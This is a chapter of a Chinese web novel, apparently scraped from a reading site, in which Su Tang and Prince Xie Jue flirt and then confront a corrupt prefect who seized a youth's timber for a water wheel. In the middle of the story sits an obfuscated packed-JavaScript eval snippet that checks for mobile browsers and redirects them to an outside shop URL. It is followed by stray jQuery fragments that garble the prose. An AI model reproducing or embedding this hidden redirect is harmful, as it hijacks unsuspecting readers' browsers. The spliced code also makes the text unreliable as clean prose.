29. 水车

作品:《满级马甲在古代被迫从良

    “定王殿下,你一个大男人真要花啊?那劳烦殿下自己去摘吧,这朵花我可是要戴到鬓边的,就不方便送给殿下啦。”


    皮一下很开心的苏棠,在心里默默为自己欢呼。


    Doublekill!


    总不能每次都被他压着杀吧,她也是会反击的好不好!


    在现代看那些激情澎湃拉扯勾缠的小文文这么多,再加上来到这里日日和郎君们一处逗趣儿,她撩人的功力好歹也是能看的。


    沉浸在胜利喜悦中的苏棠没注意,一只手悄然伸到自己身侧,轻轻取走了花。


    “姑娘要簪花,此处却没有镜子,不如就由我代劳了。”


    一只温凉的手将花儿轻轻的别在了苏棠耳后,细微的动作摩挲过她的耳廓,像一片羽毛轻轻拂过,痒意一路烧到心底。


    苏棠整个人僵了一瞬,耳尖爆红,心跳乱到不成样子,脑子里一片空白。


    他、他怎么真的……


    苏棠一时想不清自己该做什么反应,不敢再看他,干脆转身向外跑去。


    留下身后的谢玦发出得逞的轻笑。


    脚步虚软,没跑两步,慌乱中差点左脚绊右脚,好不容易稳下身子,不远处突然传来凄厉的怒吼声,让沉浸在羞涩、彷徨、无措等种种复杂情绪中的苏棠肃然一惊。


    那声音歇斯底里充满绝望,让她一身鸡皮疙瘩骤然而起。


    苏棠耳尖的余热还未散去,心口怦怦跳得更快了,她下意识的向身后看去,谢玦正好赶来,两人对视一眼,脸上的表情都已变得十分严肃。


    出事了。


    互相轻轻点了点头,收起风筝向那个方向靠近。


    “你们放开我,你这个狗官!这是我们家的木材,我为什么不能拿走?!”一个破衣烂衫的少年被几个衙役按在地上,仍红着眼不服的嘶吼着挣扎着,扬起的黄土弥漫。


    不远处扛着锄头的几名百姓,站得远远的望着,面对为首的那个绿袍官员面露恐惧。


    “你家的?朝廷征用你们的木头做灌溉农具是为了造福一方百姓,大家为了提高自家农田产量无不慷慨解囊、主动奉献。怎么现在现在费时费力建成了,你却来倒打一耙,污蔑官府征用了你家的木材?”


    “呸,你这狗官尽会蒙骗我们,各个州府都建了水车,却从没见过要百姓自掏腰包的,你巧言蒙骗大家,横征暴敛,搜刮民脂民膏收入自己的口袋里,让我们出人力物力为你做政绩!好不要脸的狗官!”


    被知府一番歪理激怒,少年肉眼可见的怒火冲天,几个衙役险些按不住他。


    谁知被点破了心机的知府不但不怒,反而捋着胡须哈哈大笑起来。


    “哈哈,小兄弟,可不要在外面听到一些胡言乱语就信以为真啊,其他州府有银子建水车是人家有盈余,咱们县连年亏损,哪有多余的银子,朝廷下了命令又不拨款,这才向街坊四邻求助,这也是希望水车建成能提高农产,让大家吃饱饭嘛,本官的一片苦心啊……”


    知府捶胸顿足,一脸委屈,只是垂下的眼神中满含森然的笑意。


    “不可能!旁边的考县比咱们还穷呢,人家压根没向百姓要一枚铜钱!朝廷的拨款定让你给贪了!”


    知府闻言脸上笑意不变,只是脸上多了一些阴狠的味道。


    “小兄弟可莫要胡说呀,年轻人脾气难免大些,但听风就是雨可如何是好,总得想想家中年迈的父母亲人,莫要折损了自己,让他们白发人送黑发人啊。”


    少年听了这番威胁,不仅丝毫不怕,勇气竟更足了几分。


    “这批木材本是我爹娘等着治病的银子,如今被你们抢了去,我若抢不回来断了药,爹娘自然没了命,我们一齐赴地府也算尽了孝道。今日我定要跟你争个鱼死网破,大不了我进京告御状!”


    “你——来人啊!”知府见奈何他不得,恼羞成怒。


    一旁蹲在花丛中的苏棠在听见他们的争执时,就无意拽紧了身旁谢玦的衣袖,事到此处局势一触即发,她攥得越发用力,竟半个身子都下意识得向他身边靠了过去。


    无意中看到不远处屹立在河岸上的庞然大物,怎的越看越眼熟?


    定睛细细琢磨才发现,这不是她送给蔡权的水转翻车吗?


    来到这个世界后,她多次见到田埂上的农民们挑着担子,从老远的河里往田里汲水。


    烈阳下骨瘦如柴的老农们汗如雨下,一个不小心还撒上半桶,便要再多跑一趟,常常挑上两趟之后,便要瘫坐在田垄旁喘息上一会儿才能继续劳作。


    于是她便想到了之前在书上看到过的取水农具,按照记忆画下来之后还自己做了个模型实验过确实能用,才换了一副没用过的马甲,匿名投到蔡知府处。


    过了不久,苏州的各处田地上都大肆建起了水转翻车,农田上的灌溉问题迎刃而解,朝廷还特意命传令官在苏州城内环城通报,宣扬苏州粮食增产的大好消息。


    因此那时她还以为蔡权是一个为百姓计的好父母官。


    效果颇好,百姓丰收,当初献图时她也在图纸上做了标记算集邮成功了,后续她就撂了手,再没关注过此事。


    如今水转翻车怎么会在京城附近出现?难道是蔡权将图献给了朝廷?


    苏棠转头看向一旁的定王,想问,刚张口就停住了。


    不行,定王并不知道水转翻车图是她画的,不能直接问出口,不然马甲有暴露风险。


    但二人已经对上了视线,又不能什么都不做,她只好开口道:“定王殿下这事儿你不管吗?”


    “当然管,只是……”


    只是什么?


    谢玦低头看了看自己褶痕遍布的衣袖。


    苏棠也随着视线看过去,“嗯……,不好意思顺手了。”


    她怎么会抓上他的衣袖呢?什么时候抓上的?她怎么完全没有印象?


    苏棠有些懊恼地龇了龇牙,抬起靠近谢玦那侧的手,遮住眼睛,另一只手伸出来做了个请的动作,“那就看定王殿下你的了,加油!”


    赶紧走!


    呵。谢玦低低一笑,气息清浅。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213353|195501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    苏棠默默的向远处挪了一步。


    谢玦看着她那副又羞又恼、恨不得他立即消失的样子,眼中笑意更浓。


    他不疾不徐的整理好被她拽皱的衣袖,抬起手轻轻一挥,几名暗卫不知从何处从天而降,上前一把按住了还在耀武扬威的知府和衙役们,扶起了被按在地上的少年。


    “解决了。”


    满含笑意的嗓音在苏棠身侧响起,她抬头向那处望去,一时怔住。


    咦?什么时候出现的黑衣人,一眨眼的功夫怎么局势就变了?


    “白姑娘可愿陪我过去看一下。”


    苏棠看着远处的水车点了点头,欣然答应。


    两人自花丛中起身,拍落沾染在身上的花叶,迈步向前走去。


    “白姑娘可看了近日的告示。”


    “看了,不过近日有三张告示,定王殿下指的是哪一张?”苏棠随手摆弄着刚才自衣襟上摘下的小花。


    “那苏州知府罪行累累,却有一件功绩不可磨灭——便是面前这水转翻车。”


    “这是他领着手下的幕僚,在田地里驻扎了数月研究出来的农具,能大大解决农民们的汲水问题,提高产量,节省人力。”


    苏棠不小心碾碎了掌心的花瓣,听着自己的牙齿磨得吱吱作响,脸上的笑意一点点冷下去。


    “蔡知府扎根农田——研究出来的?”


    “据上报是的。白姑娘如何有此疑问?难道认识那位蔡知府?”谢玦温柔真挚的看着皮笑肉不笑的苏棠。


    “呵呵。我不过是一介草民,怎么会认识远在苏州的知府呢?不过看那日告示上有不少他的罪状,我只是觉得奇怪,人的行为都是一以贯之的,如此作恶多端之人却有如此功绩,倒是让我诧异了。”


    苏棠悄悄瞅着他的神色。


    仿佛听懂了,又仿佛没听懂,谢玦点了点头,没发表意见。


    没听出来吗?苏棠有些懊恼。


    “会不会是那位蔡知府借用了别人的图纸,却充作自己的功劳呢?”


    谢玦眼中笑意加深,意味深长地看了她一眼,才慢悠悠地开口:“白姑娘果然聪慧,与我所想,一字不差。”


    ……合着你也想到了,但是不说,等着我开口?


    真狗啊!


    几句话间二人来到了刚才的争执现场。


    这次被按在地上叫嚷的成了那位知府。


    “你们到底是何人,如此大胆,我可是这荣县的知府!你们可知袭击朝廷官员是杀头的大罪。”


    看着还没搞清状况的知府仍在叫嚣着,苏棠撇了撇嘴,打算看看定王怎么处置。


    一名甲卫上前,看似轻飘飘,却力道极重的一巴掌甩在知府脸上。


    一声脆响,知府被打得偏过头去,鲜血喷了出来,还顺带带出了一颗牙齿。


    “你、你们……”。混合着血水漏风的声音破碎的传出。


    谢玦接过属下递来了一本折子看了看,开口:“荣县的水转翻车是三月前建成的,户部拨了白银一千两,是不是。”